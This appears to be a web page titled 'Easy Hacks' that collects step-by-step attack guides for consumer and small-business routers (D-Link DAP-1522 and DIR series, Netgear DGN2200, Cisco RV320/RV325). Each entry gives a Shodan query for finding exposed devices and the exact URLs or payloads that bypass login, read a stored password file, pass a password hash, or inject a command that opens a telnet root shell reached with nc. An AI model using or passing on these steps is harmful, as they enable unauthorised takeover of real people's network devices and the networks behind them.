Easy Hacks

Introduction CVE-2020-15896 is an authentication bypass vulnerability in D-Link DAP-1522 Wireless N Dualband Access Point with fimware version 1.4x. Device Identification Identify vulnerable devices using following Shodan query: DAP-1522 Ver 1.4? Authentication Bypass View the web pages of the router by appending  ?NO_NEED_AUTH=1&AUTH_GROUP=0 to every URL as given below: http://deviceIP/st_device.php?NO_NEED_AUTH=1&AUTH_GROUP=0 http://deviceIP/adv_acl.php?NO_NEED_AUTH=1&AUTH_GROUP=0 http://deviceIP/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0 Automation Using Burp Suite Proxy Match and Replace In Burp Suite, Proxy > Options tab, add a Match and Replace rule to replace " HTTP/1.1 " with " ?NO_NEED_AUTH=1&AUTH_GROUP=0 HTTP1.1 " From now on, every request in browser will be automatically appended with ?NO_NEED_AUTH=1&AUTH_GROUP=0 . Video

Introduction Authentication bypass vulnerability exist in Netgear DGN2200 N300 Wireless ADSL2+ Modem Router version v1. Device Identification Identify vulnerable devices from the results of following Shodan search query: netgear dgn2200 Authentication Bypass View the web pages of the router with out any credentials by appending ?test.gif to every URL as given below. http://deviceIP:port/RST_status.htm?test.gif http://deviceIP:port/BAS_pppoa.htm?test.gif http://deviceIP:port/WAN_wan.htm?test.gif Automation Using Burp Suite Proxy Match and Replace In Burp Suite Proxy > Options tab, add a Match and Replace rule to replace " HTTP/1.1 " with " ?test.gif HTTP1.1 " From now on, every request in browser will be automatically appended with ?test.gif . Video

 Introduction Login to vulnerable DIR series routers (eg. DIR-600) by viewing cleartext credentials. Device Identification Identify vulnerable devices from the result of following Shodan query. http.favicon.hash:1037387972 Mathopd/1.5p6 View Credentials View the content of /var/etc/httpasswd file by appending following to router web login page URL. /model/__show_info.php?REQUIRE_FILE=%2Fvar%2Fetc%2Fhttpasswd Login to the router using the credentials displayed on the left side of page. Video

Steps Bypass authentication and login to Cisco RV320 or RV325 router by exploiting CVE-2019-1653 described in previous post. Go to Certificate Management > Certificate Generator page. Fill any junk values in the form. Turn on intercept in BurpSuite and click on Save  button In BurpSuite interceptor, replace the common_name parameter value with the URL encoded command for starting command shell on router using telnetd service. That is replace common_name value with URL encoded string of following command.  a'$(telnetd -l /bin/sh -p 1234)'b URL encoded string corresponding to above command is a%27%24%28telnetd%20-l%20%2Fbin%2Fsh%20-p%201234%29%27b Now the router will start listening on port 1234. Connect to the shell using following command. nc -n ipAddress 1234 Video

Introduction Vulnerability CVE-2019-1653 allows export of a configuration file from vulnerable Cisco RV320 and RV325 series routers. This could be exploited to gain administrative access to the router. Device Identification Identify the vulnerable devices using shodan query: http.favicon.hash:-299287097 Apache Configuration Export Export the router configuration file by appending  /cgi-bin/config.exp to the IP address of the router. Authentication Bypass Open the configuration file and get the username and password hash. Start Burpsuite  In Proxy tab click on Open Browser  to open Burp embedded browser. Open the router web management url in Burp embedded browser. Turn on intercept in Burp proxy. Enter the username as in configuration file and any password. In the burp proxy Intercept , replace value of password= parameter with hash in configuration file. Forward the request and turn off the intercept to login to the router. Video Reference: https://www.redteam-...